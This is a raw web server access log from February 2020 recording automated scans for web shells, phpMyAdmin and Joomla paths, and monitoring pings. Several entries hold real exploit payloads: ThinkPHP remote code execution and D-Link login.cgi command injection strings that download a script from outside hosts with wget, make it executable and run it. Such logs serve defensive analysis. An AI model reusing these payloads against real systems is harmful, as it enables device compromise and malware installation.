106.13.37.56 - - [01/Feb/2020:15:47:08 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:08 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:09 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:09 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:10 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:12 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:12 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:12 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:13 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:14 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:16 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:16 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:16 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:16 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:17 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:17 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:17 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:20 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:20 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:21 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:24 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:24 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:24 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:24 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:24 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:24 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:38 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:40 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:40 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:41 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [01/Feb/2020:15:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:47:44 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:44 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:44 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:44 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:45 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:45 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:45 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:48 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:48 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:48 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:49 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:55 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:09 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:32 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:32 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:33 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:34 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:37 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:37 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:37 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:40 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:40 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:40 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:40 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:40 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:43 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [01/Feb/2020:15:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:48:48 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:48 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:49 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:50 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:52 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:52 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:52 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:52 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:54 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:56 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:48:56 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:24 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:27 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:33 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:33 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:33 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:34 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:34 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:37 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:38 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
92.46.136.182 - - [01/Feb/2020:15:49:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.13.37.56 - - [01/Feb/2020:15:49:41 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:41 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:43 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:43 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:43 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [01/Feb/2020:15:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:49:44 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:44 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:44 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:45 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:45 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:45 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:45 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:46 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:46 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:47 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:47 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:47 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:47 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:51 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:51 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:51 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:53 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:53 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:54 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:56 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:56 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:49:57 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:50:00 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.13.37.56 - - [01/Feb/2020:15:50:20 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
182.167.238.237 - - [01/Feb/2020:15:50:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:15:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:50:48 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
31.162.211.96 - - [01/Feb/2020:15:51:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.13.37.56 - - [01/Feb/2020:15:51:12 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.13.37.56 - - [01/Feb/2020:15:51:40 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:15:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:52:04 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.13.37.56 - - [01/Feb/2020:15:52:40 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
212.91.246.72 - - [01/Feb/2020:15:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:53:04 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
106.13.37.56 - - [01/Feb/2020:15:53:04 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
114.166.196.2 - - [01/Feb/2020:15:53:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.251.25.168 - - [01/Feb/2020:15:53:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.13.37.56 - - [01/Feb/2020:15:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:15:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:53:56 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
59.21.46.176 - - [01/Feb/2020:15:53:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
106.13.37.56 - - [01/Feb/2020:15:54:20 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:15:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:54:52 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.13.37.56 - - [01/Feb/2020:15:55:20 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:15:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:55:44 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
